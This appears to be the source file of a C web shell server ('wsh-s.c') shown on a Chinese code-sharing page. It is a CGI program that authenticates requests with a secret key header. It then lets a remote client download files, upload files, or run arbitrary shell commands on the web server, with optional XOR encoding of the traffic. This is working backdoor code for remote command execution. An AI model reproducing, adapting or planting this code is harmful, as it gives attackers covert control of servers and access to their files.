📄 wsh-s.c
字号:
HANDLE child_is_speaking_R, child_is_speaking_W; /* The read call */ DWORD NbytesReaded; /* ** The cmdline is CMDLINE_SIZE+1 bytes long... ** I could have used a loop as in the wsh[put|get]_mode functions but I ** don't feel it is the right way to get an instruction to execute (!?) */ char cmdline[CMDLINE_SIZE+1]; int cpt; char tmp_buf[TMP_BUF_SIZE+1]; /* cmdline size problem ... */ if (cl > CMDLINE_SIZE-4) // -4 because of the " /C " in front of cmdline return (-1); /* Read from stdin */ memset(cmdline,0,CMDLINE_SIZE+1); memcpy(cmdline," /C ",4); if (read(0,cmdline+4,cl) != cl) return (-1); /* We're in encoding mode */ if (ENCODE == 1) for (cpt=4;cpt<cl+4;cpt++) cmdline[cpt] = cmdline[cpt] ^ INVERT; /* Clean security attributes for handles inheritance */ ZeroMemory(&sec_att,sizeof(sec_att)); sec_att.bInheritHandle = TRUE; sec_att.nLength = sizeof(sec_att); /* The pipe */ CreatePipe(&child_is_speaking_R,&child_is_speaking_W,&sec_att,0); /* Init for exec */ ZeroMemory(&start_info,sizeof(start_info)); ZeroMemory(&process_info,sizeof(process_info)); start_info.hStdInput=NULL; start_info.hStdOutput=child_is_speaking_W; start_info.hStdError=child_is_speaking_W; start_info.dwFlags=STARTF_USESTDHANDLES; start_info.cb=sizeof(start_info); /* Go ahead ! */ if (CreateProcess(cmd, cmdline, 0,0,TRUE,NORMAL_PRIORITY_CLASS|CREATE_NO_WINDOW,0,0, &start_info,&process_info) == FALSE) return (-1); /* Don't wanna this - just in case ... */ CloseHandle(child_is_speaking_W); /* Loop and read from our pipe */ ZeroMemory(tmp_buf,TMP_BUF_SIZE+1); while (ReadFile(child_is_speaking_R,tmp_buf,TMP_BUF_SIZE,&NbytesReaded,0)) { if (NbytesReaded > 0) send_data(tmp_buf,NbytesReaded); ZeroMemory(tmp_buf,TMP_BUF_SIZE+1); } /* Cleaning job */ CloseHandle(child_is_speaking_R); WaitForSingleObject(process_info.hProcess,EXEC_WAITING_MSECS); WaitForSingleObject(process_info.hThread,EXEC_WAITING_MSECS); CloseHandle(process_info.hThread); CloseHandle(process_info.hProcess); return(1);}#endif/* As the name suggests ... */#if !defined(__WIN32__) && !defined(WIN32) && !defined(_WIN32)int exec_command(int cl){ /* Stdin management */ int ret_select; fd_set fdr_select; /* Exec and fork management */ char *cmd; char *cmd_args[4]; int wait3_check,pid; int child; int child_is_speaking[2]; /* ** The cmdline is CMDLINE_SIZE+1 bytes long... ** I could have used a loop as in the wsh[put|get]_mode functions but I ** don't feel it is the right way to get an instruction to execute (!?) */ char cmdline[CMDLINE_SIZE+1]; int cpt; char tmp_buf[TMP_BUF_SIZE+1]; /* Check Stdin will give us something */ FD_ZERO(&(fdr_select)); FD_SET(0,&(fdr_select)); if ((ret_select = select (1,&(fdr_select),NULL,NULL,0)) < 0) clean_exit(); /* cmdline size problem ... */ if (cl > CMDLINE_SIZE) return (-1); /* Read from stdin */ memset(cmdline,0,CMDLINE_SIZE+1); if (read(0,cmdline,cl) != cl) return (-1); /* We're in encoding mode */ if (ENCODE == 1) for (cpt=0;cpt<cl;cpt++) cmdline[cpt] = cmdline[cpt] ^ INVERT; /* ** This really sucks !!! ... ** If someone wanna work on that ... */ if (WIN32_RUN == 1) /* Can be builded under Cygwin with that shell */ { cmd = W32_PATH_TO_SHELL; cmd_args[0] = W32_PATH_TO_SHELL; cmd_args[1] = W32_SHELL_ARGS; } else { cmd = PATH_TO_SHELL; cmd_args[0] = PATH_TO_SHELL; cmd_args[1] = SHELL_ARGS; } if (!(cmd_args[2] = (char *) malloc (cl+1))) clean_exit(); memset(cmd_args[2],0,cl+1); memcpy(cmd_args[2],cmdline,cl); cmd_args[3] = NULL; /* ** We now call fork to execute our process ** We have to do that (do we ?!?) because we have to xor ** the shell response (if ENCODE is set) before sending ** data to the client ... */ pipe(child_is_speaking); if ((child = fork()) == 0) /* We are in the child process */ { close(child_is_speaking[0]); close(0); close(1); close(2); dup2(child_is_speaking[1],1); dup2(child_is_speaking[1],2); if (execvp(cmd,cmd_args) == -1) clean_exit(); } else { if (child == -1) /* fork error */ clean_exit(); /* We are in the father process */ close(child_is_speaking[1]); cpt = 0; while ((pid = wait3(&wait3_check,WNOHANG,NULL)) != -1 && cpt >= 0) { /* Wait for the child to exit */ memset(tmp_buf,0,TMP_BUF_SIZE+1); cpt = read(child_is_speaking[0],tmp_buf,TMP_BUF_SIZE); if (cpt > 0) send_data(tmp_buf,cpt); } } return (1);}#endif/* Let's go */int main(int ac, char **av, char **ae){ /* HTTP header variables */ char *tmp_env, *content_length,*put_mode,*get_mode; int cpt,clength; /* Initialization... */ get_mode = NULL; put_mode = NULL; /* Go ahead ... Don't forget we're called by the webserver ! */ /* ** We first get and check HTTP header values ... */ /* No key environment variable or key isn't right */ if (!(tmp_env = getenv(ENV_X_KEY)) || strlen(tmp_env) != strlen(KEY) || strncmp(tmp_env,KEY,strlen(tmp_env)) != 0) clean_exit(); /* Check if we are in wshput or wshget mode */ if ((tmp_env = getenv(ENV_X_FILEGET))) get_mode = tmp_env; if ((tmp_env = getenv(ENV_X_FILEPUT))) put_mode = tmp_env; /* No content-length ?! exit now !!! */ if (!(content_length = getenv(ENV_CONTENT_LENGTH))) clean_exit(); else { /* Check content-length content */ for (cpt=0;cpt<(int)strlen(content_length);cpt++) if (!isdigit(content_length[cpt])) clean_exit(); /* In get mode, CL == 0, so bypass this */ if (!get_mode && (clength = atoi(content_length)) < 1) clean_exit(); } /* ** WSH Server functionnalities */ /* Tells Apache we're going to send something to the client */ if (write(1,CGI_STDOUT_STR,strlen(CGI_STDOUT_STR)) != (int) strlen(CGI_STDOUT_STR)) clean_exit(); /* ** wshput_mode and wshget_mode return -1 if they fail to open the related ** file and this code doesn't do anything just as the wsh-s.pl script does. */ if (get_mode) /* Client wants to retrieve a file, no STDIN... */ wshget_mode(get_mode); else /* Client wants to upload a file or to execute a command => STDIN... */ { if (put_mode) /* We're in file upload mode */ wshput_mode(put_mode,clength); else#if defined(__WIN32__) || defined(WIN32) || defined(_WIN32) Win32_WSH_exec(clength);#else exec_command(clength);#endif } return (1);}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -